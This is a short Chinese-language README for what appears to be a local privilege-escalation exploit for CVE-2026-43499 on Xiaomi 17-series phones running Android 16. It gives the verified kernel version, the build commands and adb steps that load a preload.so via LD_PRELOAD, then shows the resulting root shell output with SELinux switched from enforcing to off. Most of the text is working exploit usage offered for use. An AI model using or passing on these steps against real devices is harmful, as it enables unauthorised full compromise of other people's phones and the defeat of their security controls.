该仓库包含 CVE-2026-43499 在 Xiaomi 17 Pro Max(popsicle)上的 Android 16 本地提权实现。已验证内核:
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
使用该内核的小米17、Pro以及Ultra系列已验证全部可用。
依赖 Python 3 和 llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
-o source/src/target.hmake -C source clean preloadNDK 无法自动发现时:
NDK_ROOT=/path/to/android-ndk make -C source clean preload最终产物:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'成功时可见:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
利用完成后能够点亮、解锁并进入桌面,但新启动的 Android App 无法完成 Framework 初始化造成闪退;重启后 App 启动恢复正常。